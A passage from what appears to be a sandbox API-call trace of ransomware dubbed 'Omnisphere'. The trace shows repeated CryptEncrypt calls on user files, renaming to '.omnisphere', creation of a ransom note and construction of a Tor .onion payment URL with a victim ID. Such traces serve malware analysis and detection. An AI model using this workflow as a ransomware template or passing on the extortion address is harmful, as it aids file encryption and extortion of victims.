pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.030] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.031] CryptDestroyKey (hKey=0x1639768) returned 1 [0069.031] CryptReleaseContext (hProv=0x163bdb0, dwFlags=0x0) returned 1 [0069.031] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.031] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0069.031] GetProcessHeap () returned 0x1600000 [0069.031] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x284) returned 0x165dc50 [0069.031] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key.omnisphere")) returned 1 [0069.032] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key.omnisphere.id" [0069.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0069.032] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0069.033] CloseHandle (hObject=0x3a8) returned 1 [0069.035] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0069.035] CloseHandle (hObject=0x3a4) returned 1 [0069.035] SetEndOfFile (hFile=0x3a0) returned 1 [0069.035] FlushFileBuffers (hFile=0x3a0) returned 1 [0069.039] CloseHandle (hObject=0x3a0) returned 1 [0069.039] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0069.039] GetProcessHeap () returned 0x1600000 [0069.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165dee0 [0069.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.039] GetProcessHeap () returned 0x1600000 [0069.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641b10 [0069.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641b10, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0069.039] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0069.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.039] GetProcessHeap () returned 0x1600000 [0069.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fb70 [0069.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fb70, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0069.039] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0069.039] GetProcessHeap () returned 0x1600000 [0069.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bdb0 [0069.039] PathCombineW (in: pszDest=0x163bdb0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0069.039] GetProcessHeap () returned 0x1600000 [0069.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1664140 [0069.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.040] WriteFile (in: hFile=0x3a0, lpBuffer=0x1664140*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1664140*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0069.040] CloseHandle (hObject=0x3a0) returned 1 [0069.040] GetProcessHeap () returned 0x1600000 [0069.040] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165dee0 | out: hHeap=0x1600000) returned 1 [0069.040] GetProcessHeap () returned 0x1600000 [0069.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f480 [0069.040] PathCombineW (in: pszDest=0x163f480, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0069.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.041] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0069.042] CloseHandle (hObject=0x3a0) returned 1 [0069.042] GetProcessHeap () returned 0x1600000 [0069.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f480 | out: hHeap=0x1600000) returned 1 [0069.042] GetProcessHeap () returned 0x1600000 [0069.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1640080 | out: hHeap=0x1600000) returned 1 [0069.042] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf930c850, ftCreationTime.dwHighDateTime=0x1d4cddc, ftLastAccessTime.dwLowDateTime=0xf60ab7a0, ftLastAccessTime.dwHighDateTime=0x1d4d5c8, ftLastWriteTime.dwLowDateTime=0xf60ab7a0, ftLastWriteTime.dwHighDateTime=0x1d4d5c8, nFileSizeHigh=0x0, nFileSizeLow=0xc5dc, dwReserved0=0x0, dwReserved1=0xed, cFileName="wuPx.mp3", cAlternateFileName="")) returned 1 [0069.042] GetProcessHeap () returned 0x1600000 [0069.042] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x60) returned 0x1649e70 [0069.042] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="wuPx.mp3" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3" [0069.042] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0069.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wupx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.043] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=50652) returned 1 [0069.043] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xc0b8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.043] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.043] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] GetTickCount () returned 0x11518a5 [0069.044] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x1669560) returned 1 [0069.044] CryptImportKey (in: hProv=0x1669560, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639768) returned 1 [0069.044] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0069.045] CryptDestroyKey (hKey=0x1639768) returned 1 [0069.045] CryptReleaseContext (hProv=0x1669560, dwFlags=0x0) returned 1 [0069.045] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5dc, lpName=0x0) returned 0x3a4 [0069.045] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5dc) returned 0x3430000 [0069.045] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x1668790) returned 1 [0069.046] CryptImportKey (in: hProv=0x1668790, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639628) returned 1 [0069.046] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.046] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] 